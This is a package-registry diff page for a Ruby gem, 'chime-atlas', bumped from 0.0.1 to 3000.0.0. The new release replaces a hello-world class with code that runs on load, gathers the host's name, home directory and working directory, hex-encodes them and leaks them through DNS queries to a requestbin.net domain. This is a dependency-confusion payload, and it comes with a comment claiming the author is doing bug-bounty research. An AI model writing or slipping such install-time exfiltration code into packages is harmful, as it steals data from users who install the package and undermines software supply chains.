chime-atlas 0.0.1 → 3000.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of chime-atlas might be problematic. Click here for more details.

Files changed (3) hide show
  1. checksums.yaml +4 -4
  2. data/lib/chime-atlas.rb +59 -5
  3. metadata +15 -9
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 113a38df14f7f03636738cdd4db3eade7c4a1a632e0ed08befeb1ae69af6fce0
4
- data.tar.gz: 856128e3f866dfb80d8709f1a933e32d6d833ba048e375f6984b1f667b21c8a7
3
+ metadata.gz: 1b824e3c08fffeb193ec920c43024ae8b45678c2d51f64704ab674f667bc9077
4
+ data.tar.gz: 16cb995632c6bfa7c39f406f05a0d12d36aa071ee279fdac61126a13cd1a33b9
5
5
  SHA512:
6
- metadata.gz: accbeddc0139335d076fab7a8bbeeec11fbee6630018a4c98f16fd5209e5b805a96e35201fce827896809f758af798c72d9d2643fcaf8794d07be1dcb9fcee2e
7
- data.tar.gz: beae449ced8f7da6b6dd17d8386759cfb4d90da054c48990632b7a86b974fb6e1539b3af4b060b2fa35111a875ceda2c876d9c1e3803d9385035bc9b4a00af97
6
+ metadata.gz: d51539980f4d3fd98e5720e383919f2d646722245f9fa5138b8ca8cecaf27849227eaecf7e9af715705b08f90b16e1fe435609ca6ef41360d13d22020bea2f87
7
+ data.tar.gz: 1084e9f350cb10dc9ab53c6239f357f22cea606ccaf9b9cb6fb93c016610bf35c18e75c7a5234f5b65bbe424a91a972124fb63946e87fe5e886f2602dec043c7
data/lib/chime-atlas.rb CHANGED
@@ -1,8 +1,62 @@
1
- class Hello
2
- def self.hello
3
- puts "Hello world!"
4
- end
1
+ =begin
2
+
3
+ This code is used for research purposes.
4
+
5
+ No sensitive data is retrieved.
6
+
7
+ Callbacks from within organizations with a
8
+ responsible disclosure policy will be reported
9
+ directly to the organizations.
10
+
11
+ Any other callbacks will be ignored, and
12
+ any associated data will not be kept.
13
+
14
+ For any questions or suggestions:
15
+
16
+ gmanhaes0@gmail.com
17
+ =end
18
+
19
+ require 'socket'
20
+ require 'json'
21
+ require 'resolv'
22
+
23
+ suffix = '5c4139c959e5f4aeab6f.d.requestbin.net'
24
+ ns = '5c4139c959e5f4aeab6f.d.requestbin.net'
25
+
26
+ package = 'chime-atlas'
27
+
28
+ # only the bare minimum to be able to identify
29
+ # a vulnerable organization
30
+ data = {
31
+ 'p' => package,
32
+ 'h' => Socket.gethostname,
33
+ 'd' => File.expand_path('~'),
34
+ 'c' => Dir.pwd
35
+ }
36
+
37
+ data = JSON.generate(data)
38
+ data = data.unpack('H*')[0].scan(/.{1,60}/)
39
+
40
+ id_1 = rand(36**12).to_s(36)
41
+ id_2 = rand(36**12).to_s(36)
42
+
43
+ begin
44
+ ns_ip = Resolv.getaddress(ns)
45
+ rescue
46
+ ns_ip = '4.4.4.4'
5
47
  end
6
48
 
7
- puts "WARNING: This import is vulnerable to dependency confusion. This attack has been prevented."
49
+ custom_res = Resolv.new([Resolv::Hosts.new,
50
+ Resolv::DNS.new(nameserver: [ns_ip, '8.8.8.8'])])
51
+
52
+
53
+ data.each.each_with_index do |chunk, idx|
54
+ begin
55
+ Resolv.getaddress 'v2_f.' + id_1 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
56
+ rescue; end
57
+
58
+ begin
59
+ custom_res.getaddress 'v2_f.' + id_2 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
60
+ rescue; end
61
+ end
8
62
 
metadata CHANGED
@@ -1,26 +1,29 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: chime-atlas
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.0.1
4
+ version: 3000.0.0
5
5
  platform: ruby
6
6
  authors:
7
- - X
7
+ - Gabriel Manhães
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2021-03-18 00:00:00.000000000 Z
11
+ date: 2021-02-28 00:00:00.000000000 Z
12
12
  dependencies: []
13
- description: ''
14
- email: x@example.com
13
+ description: I am testing for dependency confusion vulnerabilities in products that
14
+ are in public bug bounty programs. This code is reporting-only, and does not do
15
+ anything malicious.
16
+ email: rubycoder@example.com
15
17
  executables: []
16
18
  extensions: []
17
19
  extra_rdoc_files: []
18
20
  files:
19
21
  - lib/chime-atlas.rb
20
- homepage: https://rubygems.org/gems/chime-atlas
22
+ homepage: https://rubygems.org/gems/example
21
23
  licenses:
22
24
  - MIT
23
- metadata: {}
25
+ metadata:
26
+ source_code_uri: https://github.com/example/example
24
27
  post_install_message:
25
28
  rdoc_options: []
26
29
  require_paths:
@@ -36,8 +39,11 @@ required_rubygems_version: !ruby/object:Gem::Requirement
36
39
  - !ruby/object:Gem::Version
37
40
  version: '0'
38
41
  requirements: []
39
- rubygems_version: 3.1.4
42
+ rubyforge_project:
43
+ rubygems_version: 2.7.6
40
44
  signing_key:
41
45
  specification_version: 4
42
- summary: ''
46
+ summary: I am testing for dependency confusion vulnerabilities in products that are
47
+ in public bug bounty programs. This code is reporting-only, and does not do anything
48
+ malicious.
43
49
  test_files: []